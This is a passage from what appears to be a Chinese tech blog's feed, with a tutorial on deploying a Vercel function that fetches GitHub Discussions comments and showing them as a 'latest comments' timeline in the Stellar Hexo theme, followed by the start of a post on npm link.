x7528;&#x7ECF;&#x9A8C;&#xFF0C;&#x4E3A;&#x60F3;&#x8981;&#x589E;&#x5F3A;&#x535A;&#x5BA2;&#x4E92;&#x52A8;&#x6027;&#x7684;&#x5F00;&#x53D1;&#x8005;&#x63D0;&#x4F9B;&#x4E86;&#x5B8C;&#x6574;&#x89E3;&#x51B3;&#x65B9;&#x6848;&#x3002;</p><span id="more"></span><h2 id="&#x6587;&#x6863;&#x6765;&#x6E90;">&#x6587;&#x6863;&#x6765;&#x6E90;</h2><p><a href="https://weekdaycare.cn/posts/twikoo-new/#giscus">https://weekdaycare.cn/posts/twikoo-new/#giscus</a></p><p>&#x4E3A;&#x4E86;&#x52A0;&#x5165;&#x8FD9;&#x4E2A;&#x529F;&#x80FD;&#xFF0C;&#x8D39;&#x4E86;&#x70B9;&#x65F6;&#x95F4;&#xFF0C;&#x4E0D;&#x8FC7;&#x6700;&#x91CD;&#x8981;&#x7684;&#x662F;&#x89E3;&#x9501;&#x4E86;&#x4F7F;&#x7528; <a href="https://vercel.com/docs">Vercel</a> &#x90E8;&#x7F72;&#x9879;&#x76EE;&#x7684;&#x7ECF;&#x9A8C;&#x3002;</p><h2 id="&#x64CD;&#x4F5C;&#x6B65;&#x9AA4;">&#x64CD;&#x4F5C;&#x6B65;&#x9AA4;</h2><h3 id="1-&#x5728;-Vercel-&#x4E0A;&#x90E8;&#x7F72;&#x670D;&#x52A1;">1. &#x5728; Vercel &#x4E0A;&#x90E8;&#x7F72;&#x670D;&#x52A1;</h3><p>&#x70B9;&#x51FB;&#x4E00;&#x952E;&#x90E8;&#x7F72;&#x7684;<a href="https://vercel.com/import/project?template=https://github.com/weekdaycare/discussion-new-api">&#x94FE;&#x63A5;</a></p><p>&#x8FDB;&#x5165;&#x540E;&#x5148;&#x4EE5; GitHub &#x7684;&#x8D26;&#x53F7;&#x767B;&#x5F55;&#xFF0C;&#x7136;&#x540E;&#x8981;&#x505A;&#x7684;&#x662F;&#x5728;&#x4E0A;&#x9762;&#x521B;&#x5EFA;&#x4E00;&#x4E2A;&#x4ED3;&#x5E93;&#x3002;<br><img src="https://fastly.jsdelivr.net/gh/Cactusinhand/images_repo/images/20240906151349.png" alt="image.png"></p> <div class="tag-plugin colorful note" color="yellow"><div class="title">&#x6CE8;&#x610F;</div><div class="body"><p>&#x53D6;&#x6D88;&#x521B;&#x5EFA;&#x79C1;&#x6709;&#x4ED3;&#x5E93;&#x9009;&#x9879;&#x3002;</p></div></div><p>&#x53D6;&#x6D88;&#x52FE;&#x9009;&#xFF1A;<div class="tag-plugin colorful checkbox" color="red" symbol="true"><input type="checkbox"><span>Create private Git Repository</span></div></p><p>&#x5728;&#x5DE6;&#x4FA7;&#x680F;&#x53EF;&#x4EE5;&#x770B;&#x5230;&#x8FD9;&#x4E2A;&#x4ED3;&#x5E93;&#x5176;&#x5B9E;&#x662F;&#x4ECE;<a href="https://weekdaycare.cn/">&#x661F;&#x65E5;&#x8BED;</a>&#x5927;&#x4F6C;&#x7684;&#x4ED3;&#x5E93; fork &#x51FA;&#x6765;&#x7684;:</p> <div class="tag-plugin ghcard"><a class="ghcard" rel="external nofollow noopener noreferrer" href="https://github.com/weekdaycare/discussion-new-api"><img src="https://github-readme-stats.xaoxuu.com/api/pin/?username=weekdaycare&amp;repo=discussion-new-api&amp;&amp;show_owner=true"></a></div><p>&#x5728;&#x8FD9;&#x4E2A;&#x4ED3;&#x5E93;&#x4E2D;&#x5927;&#x4F6C;&#x5BF9; GitHub &#x7684; Discussion API &#x8FD4;&#x56DE;&#x6570;&#x636E;&#x589E;&#x52A0;&#x4E86;&#x8BC4;&#x8BBA;&#x56DE;&#x590D;&#x7684;&#x6570;&#x636E;&#x3002;</p><p>&#x9009;&#x62E9; <strong>Create</strong> &#x521B;&#x5EFA;&#x4ED3;&#x5E93;&#x540E;&#xFF0C;&#x4F1A;&#x9A6C;&#x4E0A;&#x8FDB;&#x5165; <strong>Deploy</strong> &#x9636;&#x6BB5;&#xFF0C;&#x8FD9;&#x4E2A;&#x5148;&#x4E0D;&#x7528;&#x7BA1;&#xFF0C;&#x53CD;&#x6B63;&#x4F1A;&#x90E8;&#x7F72;&#x5931;&#x8D25; &#x1F602;</p><h3 id="2-&#x6253;&#x5F00;-GitHub-&#x516C;&#x5F00;&#x4ED3;&#x5E93;&#x7684;-Discussion-&#x529F;&#x80FD;">2. &#x6253;&#x5F00; GitHub &#x516C;&#x5F00;&#x4ED3;&#x5E93;&#x7684; Discussion &#x529F;&#x80FD;</h3><p>&#x56DE;&#x5230; GitHub&#xFF0C;&#x53EF;&#x4EE5;&#x770B;&#x5230;&#x5DF2;&#x7ECF;&#x65B0;&#x5EFA;&#x4E86;&#x4E00;&#x4E2A;&#x4ED3;&#x5E93;&#x9996;&#x5148;&#x4ED3;&#x5E93;&#x68C0;&#x67E5;&#x4E0B;&#x4ED3;&#x5E93;&#x662F;&#x4E0D;&#x662F;&#x516C;&#x5F00;&#x7684;&#x3002;&#x5176;&#x5B9E;&#x5728;&#x7B2C;&#x4E00;&#x6B65;&#x5DF2;&#x7ECF;&#x53D6;&#x6D88;&#x79C1;&#x6709;&#x5316;&#x4ED3;&#x5E93;&#x4E86;&#xFF0C;&#x4F46;&#x5982;&#x679C;&#x5FD8;&#x8BB0;&#x4E86;&#xFF0C;&#x73B0;&#x5728;&#x53EF;&#x4EE5;&#x8BBE;&#x7F6E;&#x4E3A;&#x516C;&#x5F00;&#x3002;&#x7136;&#x540E;&#x5728;&#x8BBE;&#x7F6E;&#x91CC;&#x9762;&#x6253;&#x5F00; <strong>Discussion</strong> &#x529F;&#x80FD;&#x3002;&#x5728; <strong>Settings</strong> -&gt; <strong>General</strong> &#x9875;&#x9762;&#x5F80;&#x4E0B;&#x7FFB;&#x9875;&#xFF0C;&#x627E;&#x5230; <strong>Features</strong> &#xFF0C;&#x6253;&#x5F00; <strong>Discussions</strong> &#x5F00;&#x5173;&#x5C31; &#x1F44C;</p><h3 id="3-&#x8FDB;&#x5165;-Giscus-&#x9875;&#x9762;&#x8FDB;&#x884C;&#x914D;&#x7F6E;">3. &#x8FDB;&#x5165; Giscus &#x9875;&#x9762;&#x8FDB;&#x884C;&#x914D;&#x7F6E;</h3><p>&#x5730;&#x5740;&#x5728;&#x8FD9;&#xFF1A;<a href="https://giscus.app/zh-CN">https://giscus.app/zh-CN</a></p><p>&#x8FD9;&#x4E00;&#x6B65;&#x7684;&#x76EE;&#x7684;&#x662F;&#x5728; GitHub &#x4E2D;&#x5B89;&#x88C5; #giscus &#x8FD9;&#x4E2A; APP&#xFF0C;&#x7136;&#x540E;&#x83B7;&#x53D6;&#x76F8;&#x5173;&#x914D;&#x7F6E;&#x9879;&#x3002;</p><p><img src="https://fastly.jsdelivr.net/gh/Cactusinhand/images_repo/images/20240906115036.png" alt="image.png"></p><p>&#x8FD9;&#x91CC;&#x7684;&#x7B2C;&#x4E00;&#x3001;&#x7B2C;&#x4E09;&#x6B65;&#x524D;&#x9762;&#x5DF2;&#x7ECF;&#x5B8C;&#x6210;&#xFF0C;&#x90A3;&#x4E48;&#x5173;&#x952E;&#x662F;&#x7B2C;&#x4E8C;&#x6B65;&#x3002;&#x70B9;&#x51FB;&#x7B2C; 2 &#x6B65;&#x7684; <a href="https://giscus.app/zh-CN">giscus</a> &#x7136;&#x540E;&#x8FDB;&#x5165;&#x5B89;&#x88C5; GitHub App &#x6B65;&#x9AA4;&#x3002;&#x5B89;&#x88C5;&#x6B65;&#x9AA4;&#x91CC;&#x9762;&#x9700;&#x8981;&#x6CE8;&#x610F;&#x4E24;&#x70B9;&#xFF1A;&#x4E00;&#x662F;&#x8981;&#x5728;&#x91CC;&#x9762;&#x9009;&#x62E9;&#x4E00;&#x4E2A;&#x4ED3;&#x5E93;&#xFF0C;&#x5373;&#x521A;&#x624D;&#x521B;&#x5EFA;&#x7684;&#x4ED3;&#x5E93;&#xFF0C;&#x4ED3;&#x5E93;&#x7684;&#x6743;&#x9650;&#x9009;&#x62E9; <code>repo</code> &#x5C31;&#x884C;&#x3002;&#x4E8C;&#x662F; <code>**Read** and **write** access to discussions</code>&#xFF0C;&#x5373;&#x8D4B;&#x4E88; app &#x8BFB;&#x5199; discussion &#x7684;&#x6743;&#x9650;&#xFF08;&#x597D;&#x50CF;&#x8FD9;&#x4E2A;&#x9ED8;&#x8BA4;&#x7ED9;&#x4E86;&#xFF09;&#x3002;</p><p>&#x5B8C;&#x6210;&#x4E4B;&#x540E;&#x5C06;&#x4ED3;&#x5E93;&#x7684; <strong>&#x7528;&#x6237;&#x540D;/&#x4ED3;&#x5E93;&#x540D;</strong> &#x586B;&#x5165;&#x4E0A;&#x9762;&#x7684;&#x8F93;&#x5165;&#x6846;&#x8FDB;&#x884C;&#x68C0;&#x6D4B;&#x3002;&#x68C0;&#x6D4B;&#x901A;&#x8FC7;&#x540E;&#xFF0C;&#x540E;&#x9762;&#x7684;&#x51E0;&#x9879;&#x8BBE;&#x7F6E;&#x5982; <code>&#x9875;&#x9762; &#x2194;&#xFE0F; discussion &#x6620;&#x5C04;&#x5173;&#x7CFB;</code>, <code>Discussion &#x5206;&#x7C7B;</code>, <code>&#x7279;&#x6027;</code>, <code>&#x4E3B;&#x9898;</code>  &#x90FD;&#x53EF;&#x4EE5;&#x968F;&#x4FBF;&#x9009;&#xFF0C;&#x56E0;&#x4E3A;&#x8FD9;&#x4E9B;&#x540E;&#x9762;&#x90FD;&#x8FD8;&#x53EF;&#x4EE5;&#x518D;&#x6539;&#x3002;&#x6700;&#x91CD;&#x8981;&#x7684;&#x662F;&#x83B7;&#x53D6;&#x4E0B;&#x9762;&#x7684;&#x6570;&#x636E;&#xFF1A;<br><img src="https://fastly.jsdelivr.net/gh/Cactusinhand/images_repo/images/20240906115834.png" alt="image.png"></p><p>&#x8BB0;&#x4F4F;&#x8FD9;&#x91CC;&#x7684; <strong>data-category-id</strong> &#x540E;&#x9762;&#x8981;&#x7528;&#x3002;&#x9700;&#x8981;&#x63D0;&#x9192;&#x4E00;&#x70B9;&#x7684;&#x662F;&#xFF0C;<strong>Discussion</strong> &#x5206;&#x7C7B;&#x53EF;&#x4EE5;&#x968F;&#x4FBF;&#x9009;&#xFF0C;&#x4F46;&#x662F;&#x5B83;&#x9009;&#x4E86;&#x4F1A;&#x4F7F; <strong>data-category-id</strong> &#x53D8;&#x5316;&#x3002;&#x6240;&#x4EE5;&#x6539;&#x4E86; <strong>Discussion</strong> &#x5206;&#x7C7B;&#xFF0C;&#x5C31;&#x8981;&#x66F4;&#x65B0; <strong>data-category-id</strong>&#x3002;</p><h3 id="4-&#x56DE;&#x5230;-Vercel">4. &#x56DE;&#x5230; Vercel</h3><p>&#x5148;&#x8FDB;&#x5165; <strong>Dashboard</strong></p><p>&#x9009;&#x62E9; <strong>Settings</strong> --&gt; <strong>Environment Variables</strong> &#x8BBE;&#x7F6E;&#x73AF;&#x5883;&#x53D8;&#x91CF;&#x3002;&#x9700;&#x8981;&#x6DFB;&#x52A0;&#x7684;&#x73AF;&#x5883;&#x53D8;&#x91CF;&#x4E3A;:</p><table><thead><tr><th>name</th><th>description</th><th>eg</th></tr></thead><tbody><tr><td><code>LIMIT</code></td><td>&#x83B7;&#x53D6;&#x6570;&#x91CF;</td><td>20</td></tr><tr><td><code>GITHUB_REPO_OWNER</code></td><td>Github &#x7528;&#x6237;&#x540D;</td><td>xxx</td></tr><tr><td><code>GITHUB_REPO_NAME</code></td><td>&#x4ED3;&#x5E93;&#x540D;</td><td>&#x521A;&#x624D;&#x521B;&#x5EFA;&#x7684;&#x4ED3;&#x5E93;&#x540D;</td></tr><tr><td><code>GITHUB_CATEGORY_ID</code></td><td>Discussions &#x5206;&#x7C7B;&#x540D;&#x79F0;</td><td>&#x521A;&#x624D;&#x7684; data-category-id</td></tr><tr><td><code>GITHUB_TOKEN</code></td><td>Github Access Token</td><td>&#x9700;&#x8981;&#x521B;&#x5EFA;&#x4E00;&#x4E2A; Giithub Token(&#x6743;&#x9650;&#x7ED9; <code>repo</code>)</td></tr></tbody></table><p>&#x8BBE;&#x7F6E;&#x5B8C;&#x6210;&#x540E;&#xFF0C;&#x56DE;&#x5230; <strong>Deployments</strong> &#x8FDB;&#x884C;&#x91CD;&#x65B0;&#x90E8;&#x7F72;(Redeploy)<br>&#x90E8;&#x7F72;&#x6210;&#x529F;&#x540E;&#xFF0C;&#x51FA;&#x73B0;&#x4E0B;&#x9762;&#x7684;&#x754C;&#x9762;&#x5C31;&#x662F;&#x6210;&#x529F;&#x4E86;&#xFF1A;<br><img src="https://fastly.jsdelivr.net/gh/Cactusinhand/images_repo/images/20240906154928.png" alt="image.png"></p><p>&#x5DE6;&#x8FB9;&#x7684;&#x65B9;&#x6846;&#x91CC;&#x9762;&#x8FD4;&#x56DE;&#x4E00;&#x4E2A;&#x7A7A;&#x7684;&#x6570;&#x7EC4; <code>[]</code>&#xFF0C;&#x8BF4;&#x660E;&#x51FD;&#x6570;&#x6267;&#x884C;&#x6210;&#x529F;&#x4E86;&#x3002;&#x53EA;&#x4E0D;&#x8FC7;&#x8FD4;&#x56DE;&#x7684;&#x6570;&#x636E;&#x4E3A;&#x7A7A;&#x3002;&#x539F;&#x56E0;&#x5F88;&#x7B80;&#x5355;&#xFF0C;&#x6211;&#x4EEC;&#x8FD8;&#x6CA1;&#x6709;&#x5728; GitHub Discussion &#x91CC;&#x9762;&#x8FDB;&#x884C;&#x8BC4;&#x8BBA;&#x3002;&#x56DE;&#x5230; Discussion&#xFF0C;&#x5728;&#x521A;&#x624D; <code>Discussion &#x5206;&#x7C7B;</code> &#x65F6;&#x9009;&#x4E2D;&#x7684;&#x5206;&#x7C7B;&#x4E0B;&#x9762;&#x521B;&#x5EFA;&#x4E00;&#x4E2A;&#x65B0;&#x7684;&#x8BC4;&#x8BBA;&#x3002;&#x7A0D;&#x7B49;&#x4E00;&#x4F1A;&#x513F;&#xFF0C;&#x6216;&#x8005;&#x9A6C;&#x4E0A;&#x91CD;&#x65B0;&#x90E8;&#x7F72;&#xFF0C;&#x5C31;&#x80FD;&#x770B;&#x5230;&#x8FD4;&#x56DE;&#x7684;&#x8BC4;&#x8BBA;&#x6570;&#x636E;&#x4E86;&#xFF1A;<br><img src="https://fastly.jsdelivr.net/gh/Cactusinhand/images_repo/images/20240906160325.png" alt="image.png"></p><p>&#x81F3;&#x6B64;&#xFF0C;&#x83B7;&#x53D6; <a href="https://docs.github.com/en/discussions">GitHub Discussions</a> &#x7684;&#x670D;&#x52A1;&#x90E8;&#x7F72;&#x6210;&#x529F;&#x4E86;&#x3002;&#x63A5;&#x4E0B;&#x6765;&#x662F;&#x5728;&#x672C;&#x5730;&#x5E94;&#x7528;&#x91CC;&#x9762;&#x63A5;&#x5165;&#x8BE5;&#x670D;&#x52A1;&#x3002;</p><h3 id="5-Stellar-&#x5E94;&#x7528;&#x91CC;&#x63A5;&#x5165;&#x670D;&#x52A1;">5. Stellar &#x5E94;&#x7528;&#x91CC;&#x63A5;&#x5165;&#x670D;&#x52A1;</h3><p>&#x4EE3;&#x7801;&#x5728; [&#x8FD9;&#x91CC;](<a href="https://weekdaycare.cn/posts/twikoo-new/#%E6%96%B0%E5%BB%BA%E7%AB%8B">https://weekdaycare.cn/posts/twikoo-new/#&#x65B0;&#x5EFA;&#x7ACB;</a> giscus_new.js)<br>&#x5982;&#x679C;&#x4EE3;&#x7801;&#x6709;&#x62A5;&#x9519;&#xFF0C;&#x8BF7;&#x8FD9;&#x6837;&#x4FEE;&#x6539;&#xFF1A;</p><figure class="highlight diff"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">diff --git a/test.js b/test.js</span></span><br><span class="line"><span class="comment">index f3ad33f..500c379 100644</span></span><br><span class="line"><span class="comment">--- a/test.js</span></span><br><span class="line"><span class="comment">+++ b/test.js</span></span><br><span class="line"><span class="meta">@@ -19,7 +19,7 @@</span> utils.jq(() =&gt; {</span><br><span class="line">             var cell = &apos;&lt;div class=&quot;timenode&quot; index=&quot;&apos; + i + &apos;&quot;&gt;&apos;;</span><br><span class="line">             cell += &apos;&lt;div class=&quot;header&quot;&gt;&apos;;</span><br><span class="line">             cell += &apos;&lt;div class=&quot;user-info&quot;&gt;&apos;;</span><br><span class="line"><span class="deletion">-            cell += &apos;&lt;img src=&quot;&apos; + (item.author.avatarUrl || default_avatar) + &apos;&quot; onerror=&quot;javascript:this.src=\\&apos;&apos; + default_avatar + &apos;\\&apos;;&quot;&gt;&apos;;</span></span><br><span class="line"><span class="addition">+            cell += &apos;&lt;img src=&quot;&apos; + (item.author.avatarUrl || default_avatar) + &apos;&quot; onerror=&quot;this.src=\&apos;&apos; + default_avatar + &apos;\&apos;&quot;&gt;&apos;;</span></span><br><span class="line">             cell += &apos;&lt;span&gt;&apos; + item.author.login + &apos;&lt;/span&gt;&apos;;</span><br><span class="line">             cell += &apos;&lt;/div&gt;&apos;;</span><br><span class="line">             cell += &apos;&lt;span&gt;&apos; + new Date(item.createdAt).toLocaleString() + &apos;&lt;/span&gt;&apos;;</span><br></pre></td></tr></table></figure><p>&#x7136;&#x540E;&#x662F;&#x5728;&#x4E3B;&#x9898;&#x914D;&#x7F6E;&#x6587;&#x4EF6; <code>_config.stellar.yml</code> &#x52A0;&#x5165;&#x914D;&#x7F6E;&#xFF0C;&#x5B89;&#x88C5;&#x539F;&#x6587;&#x91CC;&#x9762;&#x914D;&#x7F6E;&#x5373;&#x53EF;&#x3002;&#x914D;&#x7F6E;&#x5B8C;&#x6210;&#x540E;&#x5728; <code>_data/widgets.yml</code> &#x4E2D;&#x53EF;&#x4EE5;&#x81EA;&#x5B9A;&#x4E49;&#x4E00;&#x4E2A; widget:</p><figure class="highlight yml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">latest_discussion:</span></span><br><span class="line">  <span class="attr">layout:</span> <span class="string">timeline</span></span><br><span class="line">  <span class="attr">title:</span> <span class="string">&#x1F4AC;</span> <span class="string">&#x6700;&#x65B0;&#x8BC4;&#x8BBA;</span></span><br><span class="line">  <span class="attr">api:</span> <span class="string">https://your-vercel-app-path</span> <span class="comment"># &#x4F60;&#x7684; vercel &#x51FD;&#x6570;&#x5730;&#x5740;</span></span><br><span class="line">  <span class="attr">type:</span> <span class="string">giscus</span></span><br><span class="line">  <span class="attr">limit:</span> <span class="number">16</span> <span class="comment"># &#x9650;&#x5236;&#x83B7;&#x53D6;&#x6570;&#x91CF;&#xFF0C;&#x8FD9;&#x662F;&#x5BA2;&#x6237;&#x7AEF;&#xFF0C;&#x521A;&#x521A;&#x662F;&#x670D;&#x52A1;&#x7AEF;</span></span><br></pre></td></tr></table></figure><p>&#x6700;&#x540E;&#x770B;&#x4E0B; timeline &#x7684;&#x6548;&#x679C;&#xFF1A;</p><p><img src="https://fastly.jsdelivr.net/gh/Cactusinhand/images_repo/images/20240906173109.png" alt="image.png"></p><p>&#x1F389;&#x1F389;&#x1F389;</p><h2 id="&#x603B;&#x7ED3;">&#x603B;&#x7ED3;</h2><p>&#x7531;&#x4E8E; GitHub &#x7684; Discussions API &#x4E0E; Issue &#x7684; API &#x4F7F;&#x7528;&#x65B9;&#x5F0F;&#x4E0D;&#x540C;&#xFF0C;&#x6240;&#x4EE5;&#x8FD9;&#x91CC;&#x4E0D;&#x80FD;&#x50CF;&#x4EE5;&#x524D;&#x90A3;&#x6837;&#x76F4;&#x63A5;&#x901A;&#x8FC7;&#x6807;&#x51C6;&#x7684; RESTful API &#x63A5;&#x53E3;&#x6765;&#x83B7;&#x53D6;&#x8BC4;&#x8BBA;&#x6570;&#x636E;&#xFF0C;&#x800C;&#x662F;&#x4F7F;&#x7528;&#x4E86; GraphQL&#x3002;&#x6709;&#x5927;&#x4F6C;&#x5199;&#x4E86;&#x4E00;&#x4E2A;&#x51FD;&#x6570;&#x6765;&#x62C9;&#x53D6;&#x6307;&#x5B9A;&#x4ED3;&#x5E93;&#x7684; Discussions &#x4E2D;&#x7684;&#x8BC4;&#x8BBA;&#x6570;&#x636E;&#xFF0C;&#x5E76;&#x4E14;&#x5C06;&#x8FD9;&#x4E2A;&#x529F;&#x80FD;&#x505A;&#x4E3A;&#x4E00;&#x4E2A; function &#x90E8;&#x7F72;&#x5728; Vercel &#x4E0A;&#x6258;&#x7BA1;&#x3002;&#x5176;&#x4ED6;&#x4EBA;&#x5982;&#x679C;&#x60F3;&#x8981;&#x83B7;&#x5F97;&#x540C;&#x6837;&#x7684;&#x529F;&#x80FD;&#xFF0C;&#x5728; Vercel &#x4E0A; fork &#x51FA;&#x81EA;&#x5DF1;&#x7684;&#x4ED3;&#x5E93;&#xFF0C;&#x5E76;&#x914D;&#x7F6E;&#x597D;&#x73AF;&#x5883;&#x53D8;&#x91CF;&#x5373;&#x53EF;&#x90E8;&#x7F72;&#x81EA;&#x5DF1;&#x7684; API&#xFF08;&#x670D;&#x52A1;&#xFF09;&#x3002;&#x90E8;&#x7F72;&#x5B8C;&#x6210;&#x540E;&#xFF0C;&#x5728;&#x5176;&#x4ED6;&#x5E94;&#x7528;&#x91CC;&#x8C03;&#x7528;&#x6258;&#x7BA1;/&#x8FD0;&#x884C;&#x5728; Vercel &#x4E0A;&#x5BF9;&#x5E94;&#x7684;&#x63A5;&#x53E3;&#xFF0C;&#x5C31;&#x53EF;&#x4EE5;&#x83B7;&#x53D6;&#x6570;&#x636E;&#x4E86;&#x3002;</p><p>&#x6574;&#x4E2A;&#x8FC7;&#x7A0B;&#x662F; Github Discussions --&gt; Vercel --&gt; Giscus --&gt; App&#x3002;</p>]]></content>
    
    
    <summary type="html">&lt;p&gt;&amp;#x672C;&amp;#x6587;&amp;#x8BE6;&amp;#x7EC6;&amp;#x8BB0;&amp;#x5F55;&amp;#x4E86;&amp;#x5982;&amp;#x4F55;&amp;#x901A;&amp;#x8FC7;Vercel&amp;#x6258;&amp;#x7BA1;&amp;#x670D;&amp;#x52A1;&amp;#x83B7;&amp;#x53D6;GitHub Discussions&amp;#x8BC4;&amp;#x8BBA;&amp;#x6570;&amp;#x636E;&amp;#xFF0C;&amp;#x5E76;&amp;#x5C06;&amp;#x5176;&amp;#x5C55;&amp;#x793A;&amp;#x5728;&amp;#x535A;&amp;#x5BA2;&amp;#x7684;timeline&amp;#x7EC4;&amp;#x4EF6;&amp;#x4E2D;&amp;#x3002;&amp;#x6587;&amp;#x7AE0;&amp;#x5206;&amp;#x6B65;&amp;#x9AA4;&amp;#x4ECB;&amp;#x7ECD;&amp;#x4E86;&amp;#x5B8C;&amp;#x6574;&amp;#x5B9E;&amp;#x73B0;&amp;#x6D41;&amp;#x7A0B;&amp;#xFF1A;&amp;#x4ECE;Vercel&amp;#x90E8;&amp;#x7F72;&amp;#x670D;&amp;#x52A1;&amp;#x3001;&amp;#x542F;&amp;#x7528;GitHub&amp;#x4ED3;&amp;#x5E93;&amp;#x7684;Discussion&amp;#x529F;&amp;#x80FD;&amp;#x3001;&amp;#x914D;&amp;#x7F6E;Giscus&amp;#x5E94;&amp;#x7528;&amp;#xFF0C;&amp;#x5230;&amp;#x8BBE;&amp;#x7F6E;&amp;#x5FC5;&amp;#x8981;&amp;#x7684;&amp;#x73AF;&amp;#x5883;&amp;#x53D8;&amp;#x91CF;&amp;#x3001;&amp;#x6D4B;&amp;#x8BD5;API&amp;#x63A5;&amp;#x53E3;&amp;#xFF0C;&amp;#x6700;&amp;#x540E;&amp;#x96C6;&amp;#x6210;&amp;#x5230;Stellar&amp;#x4E3B;&amp;#x9898;&amp;#x4E2D;&amp;#x3002;&amp;#x901A;&amp;#x8FC7;&amp;#x8FD9;&amp;#x4E2A;&amp;#x9879;&amp;#x76EE;&amp;#xFF0C;&amp;#x4F5C;&amp;#x8005;&amp;#x4E0D;&amp;#x4EC5;&amp;#x5B9E;&amp;#x73B0;&amp;#x4E86;&amp;#x663E;&amp;#x793A;&amp;#x6700;&amp;#x65B0;&amp;#x8BC4;&amp;#x8BBA;&amp;#x7684;&amp;#x529F;&amp;#x80FD;&amp;#xFF0C;&amp;#x8FD8;&amp;#x5206;&amp;#x4EAB;&amp;#x4E86;&amp;#x4F7F;&amp;#x7528;Vercel&amp;#x90E8;&amp;#x7F72;Serverless&amp;#x51FD;&amp;#x6570;&amp;#x7684;&amp;#x5B9E;&amp;#x7528;&amp;#x7ECF;&amp;#x9A8C;&amp;#xFF0C;&amp;#x4E3A;&amp;#x60F3;&amp;#x8981;&amp;#x589E;&amp;#x5F3A;&amp;#x535A;&amp;#x5BA2;&amp;#x4E92;&amp;#x52A8;&amp;#x6027;&amp;#x7684;&amp;#x5F00;&amp;#x53D1;&amp;#x8005;&amp;#x63D0;&amp;#x4F9B;&amp;#x4E86;&amp;#x5B8C;&amp;#x6574;&amp;#x89E3;&amp;#x51B3;&amp;#x65B9;&amp;#x6848;&amp;#x3002;&lt;/p&gt;</summary>
    
    
    
    <category term="Tools" scheme="https://oschina.win/categories/Tools/"/>
    
    
    <category term="Vercel" scheme="https://oschina.win/tags/Vercel/"/>
    
    <category term="博客主题" scheme="https://oschina.win/tags/%E5%8D%9A%E5%AE%A2%E4%B8%BB%E9%A2%98/"/>
    
  </entry>
  
  <entry>
    <title>在项目在使用本地 npm 包</title>
    <link href="https://oschina.win/posts/86cc56cb.html"/>
    <id>https://oschina.win/posts/86cc56cb.html</id>
    <published>2024-08-26T11:28:53.000Z</published>
    <updated>2025-04-25T13:16:58.350Z</updated>
    
    <content type="html"><![CDATA[<p>&#x5F53; npm install &#x5B89;&#x88C5;&#x7684;&#x5305;&#x6709;&#x95EE;&#x9898;&#xFF0C;&#x6211;&#x4EEC;&#x53EF;&#x4EE5;&#x4F7F;&#x7528;&#x81EA;&#x5DF1;&#x7684;&#x5305;</p><p>&#x672C;&#x6587;&#x8BE6;&#x7EC6;&#x4ECB;&#x7ECD;&#x4E86;&#x5982;&#x4F55;&#x4F7F;&#x7528;npm link&#x547D;&#x4EE4;&#x5728;&#x9879;&#x76EE;&#x4E2D;&#x5F15;&#x7528;&#x81EA;&#x5B9A;&#x4E49;&#x7684;&#x672C;&#x5730;npm&#x5305;&#xFF0C;&#x89E3;&#x51B3;&#x5B98;&#x65B9;&#x5305;&#x5B58;&#x5728;bug&#x6216;&#x529F;&#x80FD;&#x7F3A;&#x5931;&#x7684;&#x95EE;&#x9898;&#x3002;&#x4F5C;&#x8005;&#x4EE5;&#x5B9E;&#x9645;&#x6848;&#x4F8B;&#x5C55;&#x793A;&#x4E86;&#x4ECE;&#x53D1;&#x73B0;hexo-jupyter-notebook&#x5305;&#x7684;&#x95EE;&#x9898;&#xFF0C;&#x5230;&#x521B;&#x5EFA;&#x672C;&#x5730;&#x4FEE;&#x6539;&#x7248;&#x672C;&#x5E76;&#x5728;&#x9879;&#x76EE;&#x4E2D;&#x94FE;&#x63A5;&#x4F7F;&#x7528;&#x7684;&#x5B8C;&#x6574;&#x6D41;&#x7A0B;&#x3002;&#x6587;&#x7AE0;&#x8FD8;&#x63D0;&#x4F9B;&#x4E86;npm link&#x547D;&#x4EE4;&#x7684;&#x5177;&#x4F53;&#x7528;&#x6CD5;&#x548C;&#x64CD;&#x4F5C;&#x6B65;&#x9AA4;&#x7684;&#x622A;&#x56FE;&#x6F14;&#x793A;&#xFF0C;&#x4E3A;&#x5F00;&#x53D1;&#x8005;&#x63D0;&#x4F9B;&#x4E86;&#x4E00;&#x79CD;&#x4E0D;&#x9700;&#x8981;&#x53CD;&#x590D;&#x624B;&#x52A8;&#x4FEE;&#x6539;node_modules&#x7684;&#x9AD8;&#x6548;&#x89E3;&#x51B3;&#x65B9;&#x6848;&#x3002;</p><span id="more"></span><h2 id="&#x8D77;&#x56E0;">&#x8D77;&#x56E0;</h2><p>&#x5728; <a href="/posts/df80c9f8.html" title="&#x6253;&#x9020;&#x5C5E;&#x4E8E;&#x81EA;&#x5DF1;&#x7684;&#x672C;&#x5730; Go Playground&#xFF0C;&#x4F46;&#x4E0D;&#x6B62;&#x4E8E;&#x6B64;">&#x6253;&#x9020;&#x5C5E;&#x4E8E;&#x81EA;&#x5DF1;&#x7684;&#x672C;&#x5730; Go Playground&#xFF0C;&#x4F46;&#x4E0D;&#x6B62;&#x4E8E;&#x6B64;</a> &#x4E2D;&#x4E3A;&#x4E86;&#x4F7F; hexo &#x535A;&#x5BA2;&#x663E;&#x793A; <code>.ipynb</code> &#x7C7B;&#x578B;&#x7684;&#x6587;&#x6863;&#xFF0C;&#x6211;&#x4F7F;&#x7528;&#x4E86; <code>hexo-jupyter-notebook</code> &#x8FD9;&#x4E2A;&#x5305;&#xFF0C;&#x4F46;&#x662F;&#x4F7F;&#x7528;&#x8FC7;&#x7A0B;&#x6709;&#x70B9;&#x5751;&#xFF0C;&#x9047;&#x5230;&#x51E0;&#x4E2A; bug&#xFF0C;&#x65E0;&#x8BBA;&#x662F; npm &#x5B98;&#x7F51;&#x4E0A;&#x4E0B;&#x8F7D;&#x7684;&#x5305;&#x8FD8;&#x662F; Github 